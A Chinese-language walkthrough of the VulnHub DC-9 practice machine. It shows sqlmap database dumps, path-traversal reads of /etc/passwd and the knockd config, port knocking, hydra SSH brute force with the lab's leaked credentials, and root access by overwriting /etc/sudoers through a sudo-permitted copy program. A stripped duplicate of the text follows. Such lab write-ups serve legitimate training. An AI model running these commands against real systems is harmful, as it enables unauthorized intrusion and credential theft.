第一次打靶机DC-9的详细步骤
字数 1236 2025-08-12 12:46:04

DC-9 靶机渗透测试详细教程

靶机概述

DC-9 是 VulnHub 上的一个渗透测试靶机,目标是通过各种渗透技术获取 root 权限并找到 flag。该靶机涉及以下技术点:

  • SQL 注入
  • 本地文件包含 (LFI)
  • 端口敲门 (Port Knocking)
  • SSH 爆破
  • sudo 提权

环境准备

  • 攻击机:Kali Linux
  • 靶机:DC-9
  • 网络模式:桥接或 NAT 均可(注意 IP 变化)

渗透步骤

1. 目标识别

使用 nmap 扫描目标网络:

nmap -sn 192.168.1.0/24

通过 MAC 地址识别 DC-9 的 IP 地址(172.x.x.x 或 192.168.x.x)

2. 端口扫描

对目标进行详细扫描:

nmap -sV -p- <target_IP>

典型结果:

  • 22/tcp filtered ssh
  • 80/tcp open http

3. Web 应用分析

访问 http://<target_IP> 发现:

  • PHP 编写的网页
  • 包含用户列表和搜索功能
  • 搜索功能使用 POST 方法提交

4. SQL 注入利用

4.1 识别注入点

使用 Burp Suite 拦截搜索请求,或通过浏览器开发者工具查看:

  • 发现参数 search=1

4.2 使用 sqlmap 枚举数据库

sqlmap -u "http://<target_IP>/result.php" --data="search=1" --dbs

发现数据库:

  • information_schema
  • Staff
  • Users

4.3 枚举 Users 数据库

sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Users --tables
sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Users -T UserDetails --dump

获取用户名和密码,保存到文件:

cp /root/.local/share/sqlmap/output/<target_IP>/dump/Users/UserDetails.csv /opt/
cat UserDetails.csv | cut -d ',' -f 2 > username.txt
cat UserDetails.csv | cut -d ',' -f 3 > password.txt

4.4 枚举 Staff 数据库

sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Staff --tables
sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Staff -T Users --dump

获取 admin 凭据,但 SSH 登录失败。

5. 本地文件包含 (LFI) 漏洞利用

5.1 发现 LFI

尝试访问:

http://<target_IP>/file.php?file=../../../../etc/passwd

成功读取系统文件。

5.2 获取 knockd 配置

读取关键配置文件:

http://<target_IP>/file.php?file=../../../../etc/knockd.conf

获取端口敲门序列:

[options]
    UseSyslog

[openSSH]
    sequence = 7469,8475,9842
    seq_timeout = 25
    command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

[closeSSH]
    sequence = 9842,8475,7469
    seq_timeout = 25
    command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

6. 端口敲门开启 SSH

使用 nmap 按顺序敲击端口:

nmap -Pn --host_timeout 201 --max-retries 0 -p 7469 <target_IP>
nmap -Pn --host_timeout 201 --max-retries 0 -p 8475 <target_IP>
nmap -Pn --host_timeout 201 --max-retries 0 -p 9842 <target_IP>

或使用单条命令:

for p in 7469 8475 9842; do nmap -Pn --host_timeout 201 --max-retries 0 -p $p <target_IP>; done

7. SSH 爆破

使用 hydra 爆破:

hydra -L username.txt -P password.txt <target_IP> ssh -t 4

发现有效凭据:

  • janitor:Ilovepeepee
  • janie:Ead04be9bd698a9e6dcea7c5d38922d4

8. 信息收集

登录 janitor 账户,发现隐藏文件:

ls -la /home/janitor
cat /home/janitor/.hidden/.bash_history

获取额外密码,添加到 password.txt:

scp janitor@<target_IP>:/home/janitor/.hidden/.bash_history .
cat .bash_history >> password.txt

9. 进一步爆破

再次使用 hydra 爆破,发现新用户:

  • fredf:B4-Tru3-001

10. 提权操作

10.1 检查 sudo 权限

sudo -l

发现可以无密码执行:

(ALL) NOPASSWD: /opt/devstuff/dist/test/test

10.2 分析 test 程序

find / -name test.py 2>/dev/null
cat /opt/devstuff/test.py

发现这是一个文件复制程序。

10.3 利用 sudo 提权

创建恶意 sudoers 文件:

echo "fredf ALL=(ALL) NOPASSWD:ALL" > sudoers

使用 test 程序覆盖 /etc/sudoers:

sudo /opt/devstuff/dist/test/test sudoers /etc/sudoers

验证提权:

sudo su

11. 获取 flag

进入 root 目录查看 flag:

cd /root
ls
cat theflag.txt

总结

DC-9 靶机涵盖了从 Web 渗透到系统提权的完整流程,关键技术点包括:

  1. SQL 注入获取凭据
  2. LFI 漏洞读取敏感配置
  3. 端口敲门技术开启隐藏服务
  4. 凭据爆破和横向移动
  5. sudo 配置不当导致的提权

通过这个靶机,可以全面练习渗透测试的各个阶段和技术。

DC-9 靶机渗透测试详细教程 靶机概述 DC-9 是 VulnHub 上的一个渗透测试靶机,目标是通过各种渗透技术获取 root 权限并找到 flag。该靶机涉及以下技术点: SQL 注入 本地文件包含 (LFI) 端口敲门 (Port Knocking) SSH 爆破 sudo 提权 环境准备 攻击机:Kali Linux 靶机:DC-9 网络模式:桥接或 NAT 均可(注意 IP 变化) 渗透步骤 1. 目标识别 使用 nmap 扫描目标网络: 通过 MAC 地址识别 DC-9 的 IP 地址(172.x.x.x 或 192.168.x.x) 2. 端口扫描 对目标进行详细扫描: 典型结果: 22/tcp filtered ssh 80/tcp open http 3. Web 应用分析 访问 http://<target_IP> 发现: PHP 编写的网页 包含用户列表和搜索功能 搜索功能使用 POST 方法提交 4. SQL 注入利用 4.1 识别注入点 使用 Burp Suite 拦截搜索请求,或通过浏览器开发者工具查看: 发现参数 search=1 4.2 使用 sqlmap 枚举数据库 发现数据库: information_ schema Staff Users 4.3 枚举 Users 数据库 获取用户名和密码,保存到文件: 4.4 枚举 Staff 数据库 获取 admin 凭据,但 SSH 登录失败。 5. 本地文件包含 (LFI) 漏洞利用 5.1 发现 LFI 尝试访问: 成功读取系统文件。 5.2 获取 knockd 配置 读取关键配置文件: 获取端口敲门序列: 6. 端口敲门开启 SSH 使用 nmap 按顺序敲击端口: 或使用单条命令: 7. SSH 爆破 使用 hydra 爆破: 发现有效凭据: janitor:Ilovepeepee janie:Ead04be9bd698a9e6dcea7c5d38922d4 8. 信息收集 登录 janitor 账户,发现隐藏文件: 获取额外密码,添加到 password.txt: 9. 进一步爆破 再次使用 hydra 爆破,发现新用户: fredf:B4-Tru3-001 10. 提权操作 10.1 检查 sudo 权限 发现可以无密码执行: 10.2 分析 test 程序 发现这是一个文件复制程序。 10.3 利用 sudo 提权 创建恶意 sudoers 文件: 使用 test 程序覆盖 /etc/sudoers: 验证提权: 11. 获取 flag 进入 root 目录查看 flag: 总结 DC-9 靶机涵盖了从 Web 渗透到系统提权的完整流程,关键技术点包括: SQL 注入获取凭据 LFI 漏洞读取敏感配置 端口敲门技术开启隐藏服务 凭据爆破和横向移动 sudo 配置不当导致的提权 通过这个靶机,可以全面练习渗透测试的各个阶段和技术。